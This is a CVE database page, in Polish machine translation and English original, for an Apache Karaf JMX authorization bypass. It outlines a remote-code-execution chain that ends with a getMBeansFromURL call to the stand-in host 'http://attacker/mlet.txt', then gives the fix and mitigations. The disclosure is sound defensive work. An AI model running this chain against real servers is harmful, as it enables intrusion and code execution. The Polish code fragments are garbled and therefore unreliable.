Odebrany

CVE-2026-92142

opublikowano: 29.09.2026, 11:17

modyfikacja: 29.09.2026, 16:56

Ocena CVSS

n/a

Brak oceny

Oficjalne źródła

>_ Opis

Tłumaczenie automatyczne – może zawierać nieścisłości.

Apache Karaf udostępnia serwer JMX MBeanServer chroniony przez KarafMBeanServerGuard, który wymusza kontrolę dostępu opartą na rolach (RBAC) w przypadku operacji MBean wywoływanych za pośrednictwem zdalnego złącza JMX (rejestr/serwer RMI, domyślnie włączony na portach 1099 i 44444). Strażnik jest zaimplementowany jako Java.lang.reflect.Proxy w obrębie MBeanServer i przekazuje tylko stałą listę nazw operacji do kontroli RBAC, zdefiniowanej w MBeanInvocationHandler#guarded:

prywatny końcowy List<String> chroniony = Collections.unmodibleList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));

Operacje cyklu życia MBean MBeanServer#createMBean, #registerMBean i #unregisterMBean nie znajdują się na tej liście. Wywołania tych metod są przekazywane bezpośrednio do bazowego MBeanServer bez żadnego sprawdzania ról, niezależnie od ról skonfigurowanych w etc/jmx.acl.*.cfg.

W rezultacie każdy użytkownik, który może uwierzytelnić się w punkcie końcowym JMX, w tym użytkownik posiadający tylko najmniej uprzywilejowaną rolę „przeglądającego”, może wywołać metodę createMBean(), aby utworzyć instancję dowolnej klasy jako komponentu MBean, i wyrejestrowaćMBean(), aby ją później ponownie usunąć, bez sprawdzania autoryzacji i bez wpisu do dziennika audytu (logowanie się do KarafMBeanServerGuard następuje tylko na ścieżce odmowy RBAC, którą to omija nigdy nie dotrze).

Jest to istotne, ponieważ w ten sposób można utworzyć instancję javax.management.loading.MLet, standardowego komponentu MBean JDK. Mlet działa jako zdalny moduł ładujący klasy: jego operacja getMBeansFromURL(URL) pobiera plik tekstowy MLet z adresu URL kontrolowanego przez osobę atakującą oraz tworzy instancje i rejestruje wymienione przez siebie klasy jako nowe komponenty MBean w docelowej maszynie JVM. Osiągnięcie tej operacji nadal odbywa się przez istniejące sprawdzenie „wywołania” KarafMBeanServerGuard, ale domyślny plik etc/jmx.acl.cfg przydziela rolę „przeglądający” dowolnej nazwie metody pasującej do reguły wieloznacznej „get* = viewer” – heurystyki przeznaczonej dla programów pobierających tylko do odczytu. Ponieważ „getMBeansFromURL” tak się składa, że zaczyna się od „get”, pasuje również do tej reguły, więc domyślna instalacja przyznaje osobom wywołującym „przeglądającym” uprawnienia do wywoływania tej metody bez żadnego MLet nazewnictwa ACL specyficznego dla Karafa. W połączeniu z luką w createMBean, daje to klientowi JMX z rolą „przeglądającego” ścieżkę do zdalnego wykonania kodu do maszyny Karaf JVM:

* Uwierzytelnij się w JMX jako dowolny użytkownik z dowolną rolą (np. „przeglądający”).
* Plik mbs.createMBean("javax.management.loading.MLet", nazwaobiektu) nie znajduje się w GUARDED_OPERATIONS, brak kontroli RBAC, utworzono instancję i zarejestrowano obiekt MLet.
* MBs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) jest strzeżony, ale nazwa metody jest zgodna z domyślną regułą ACL „get* = viewer”, więc jest to dozwolone.
* Zdalny plik .mlet jest pobierany, a zawarte w nim klasy są ładowane i rejestrowane jako nowe komponenty MBean, uruchamiając kod dostarczony przez osobę atakującą w maszynie Karaf JVM.
* MBs.unregisterMBean(objectName) można później użyć do usunięcia MLet, także nie w GUARDED_OPERATIONS, bez sprawdzania RBAC, bez ścieżki audytu.

Poprawka dodaje elementy createMBean, rejestrMBean i unregisterMBean do listy operacji chronionych, rozwiązuje dla nich wymagane role z konfiguracji jmx.acl* według nazwy obiektu i (w przypadku createMBean/registerMBean) nazwy klasy MBean oraz dostarcza domyślne wpisy etc/jmx.acl.cfg ograniczające wszystkie trzy operacje do roli „admin”. Pozwala to wdrożeniom na zapisanie reguły specyficznej dla nazwy klasy, np .:

createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin

Użytkownicy Apache Karaf powinni jak najszybciej dokonać aktualizacji do wersji 4.4.12, 4.5.0 lub nowszej po wydaniu. Do czasu udostępnienia aktualizacji ogranicz dostęp sieciowy do portów rejestru/serwera JMX RMI (1099/44444) do zaufanych hostów lub unikaj wydawania jakichkolwiek poświadczeń JMX innych niż „administracyjne”.

Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:

private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));

The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.

As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).

This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:

* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.

The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:

createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin

Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.

>_ Słabości (CWE)

CWE-862

>_ Referencje

Dane podatności pochodzą z oficjalnych źródeł (CVE® List / NVD). Opisy po polsku są tłumaczone automatycznie i mogą zawierać nieścisłości – na stronie rekordu można wyświetlić wersję angielską.

This product uses the NVD API but is not endorsed or certified by the NVD.

CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN PROVIDED BY MITRE ARE PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND.

NVD Terms of Use / CVE® Terms of Use / nvd.nist.gov / cve.org

<< baza_cve